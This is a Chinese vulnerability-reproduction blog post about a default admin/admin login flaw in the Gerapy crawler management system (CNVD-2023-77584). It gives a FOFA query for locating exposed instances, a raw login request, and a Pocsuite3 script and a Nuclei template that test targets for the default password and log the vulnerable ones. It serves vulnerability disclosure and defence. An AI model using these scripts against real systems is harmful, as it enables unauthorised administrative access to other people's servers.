【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

admin 2024年2月15日18:01:42评论16 views字数 4636阅读15分27秒阅读模式

声明:此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

      现在只对常读和星标的公众号才展示大图推送,建议大家把猫蛋儿安全“设为星标”,否则可能看不到了!

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

产品简介

    Gerapy是一款开源的基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。它提供了一套完整的爬虫开发、调度和监控的解决方案。Gerapy基于Scrapy框架,通过Web界面提供了方便的爬虫管理功能,包括爬虫项目的创建、编辑和部署,以及爬虫任务的调度和监控。

Gerapy的主要特点包括:

- 友好的Web界面:Gerapy提供了直观易用的Web界面,使得爬虫的管理和监控变得简单和方便。- 多用户支持:Gerapy支持多用户管理,可以为不同的用户分配不同的权限和角色。- 分布式部署:Gerapy支持将爬虫项目部署到多台机器上,实现分布式爬虫的开发和运行。- 定时任务调度:Gerapy内置了定时任务调度功能,可以方便地设置爬虫任务的执行时间和频率。- 实时监控和日志查看:Gerapy提供了实时监控和日志查看功能,可以随时查看爬虫任务的运行状态和日志信息。
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

漏洞简介

       Gerapy爬虫管理系统存在弱口令,攻击者可直接登录后台,获取WEB登录权限。

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

影响版本

所有版本
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

指纹识别

fofa:title="Gerapy"
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

漏洞验证

Gerapy爬虫管理系统弱口令弱口令:admin/admin,MDSEC本地搭建环境验证。

POC:

POST /api/user/auth HTTP/1.1Host: www.mdsec.com:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json;charset=utf-8Content-Length: 39DNT: 1Connection: close{"username":"admin","password":"admin"} 

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

说明:以上环境是MDSEC团队内部搭建的哦,符合《网络安全法》,不存在互联网入侵行为。

Pocsuite3自动化验证:

#!/usr/bin/python3#-*- coding: UTF-8 -*-#Author: MDSECfrom pocsuite3.api import requestsfrom pocsuite3.api import register_pocfrom pocsuite3.api import Output, POCBase, loggerimport sslssl._create_default_https_context = ssl._create_unverified_contextclass gerapy_weakPass_POC(POCBase):vulevel = '2.0'version = '1.0'vulID = "CNVD-2023-77584"author = ['MDSEC']vulDate = '2021-10-28'createDate = '2021-11-30'updateDate = '2021-11-30'references = 'All'name = 'Gerapy存在弱口令漏洞'appPowerLink = 'https://github.com/Gerapy/Gerapy'appName = 'Gerapy'appVersion = 'All'vulType = 'weakpass'desc = '''Gerapy存在弱口令'''def _verify(self):result = {}path = "/api/user/auth"vuln_url = self.url.strip("/") + pathdata = {"username": "admin","password": "admin"}try:respon = requests.post(url=vuln_url, data=data, verify=False, timeout=3)if respon.status_code == 200 and '"token":' in respon.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlwith open(__file__.replace('.py', '.txt'), 'a+') as f:f.write(self.url + 'n')f.close()else:logger.error(f"connect target '{self.url} not vulnable!'")except Exception and TimeoutError and RuntimeError:logger.error(f"connect target '{self.url} failed!'")return self.parse_attack(result)def _attack(self):result = {}path = "/api/user/auth"vuln_url = self.url.strip("/") + pathdata = {"username": "admin","password": "admin"}try:respon = requests.post(url=vuln_url, data=data, verify=False, timeout=3)if respon.status_code == 200 and '"token":' in respon.text:result['GetInfo'] = {}result['GetInfo']['username'] = "admin"result['GetInfo']['password'] = "admin"result['GetInfo']['URL'] = self.urlexcept Exception and TimeoutError:logger.error(f"connect target '{self.url} failed!'")return self.parse_attack(result)def parse_attack(self, result):output = Output(self)if result:output.success(result)else:output.fail('Internet nothing returned')return outputregister_poc(gerapy_weakPass_POC)

验证模式:

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

攻击模式:

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

6.2 Nuclei自动化验证

id: gerapy-admin-weakpass-CNVD-2023-77584info:name: gerapy爬虫管理系统admin弱口令author: MDSECseverity: mediumdescription: Gerapy是一个开源的分布式爬虫管理系统,用于帮助开发人员和数据分析师高效地管理和运行爬虫任务。Gerapy爬虫管理系统存在弱口令,攻击者可直接登录后台,获取WEB登录权限(CNVD公开日期:2023-11-30)。reference:- https://www.cnvd.org.cn/flaw/show/CNVD-2023-77584- https://blog.csdn.net/qq_41490561classification:cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Ncvss-score: 6.5cwe-id: CWE-22metadata:max-request: 1fofa-query: ""sqlmaps: ""tags: gerapy,weakpasshttp:- raw:- |@timeout: 10sGET / HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestDnt: 1Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: close- |@timeout: 10sPOST /api/user/auth HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonContent-Length: 39DNT: 1Connection: close{"username":"admin","password":"admin"}matchers-condition: andmatchers:- type: dsldsl:- 'contains(body_1, "<title>Gerapy</title>")'- 'status_code_1 == 200'condition: and- type: dsldsl:- "contains(body_2, 'token')"- "contains(header_2, 'application/json')"- 'status_code_2 == 200'condition: and  

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

修复建议: 

建议修改为强口令
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)
【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

漏洞收录

漏洞已收录于团队内部漏洞库(建设于2019年),现已收集4000+实战漏洞

现仅供团队内部使用,每月随机抽取关注者加入社群交流学习。

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

回复关键字【300000】获取POC下载链接

点击下方名片进入公众号,欢迎关注!

【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

点个小赞你最好看

原文始发于微信公众号(网络运维渗透):【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日18:01:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】Gerapy爬虫管理系统弱口令漏洞复现(CNVD-2023-77584)http://cn-sec.com/archives/2187157.html

发表评论

匿名网友 填写信息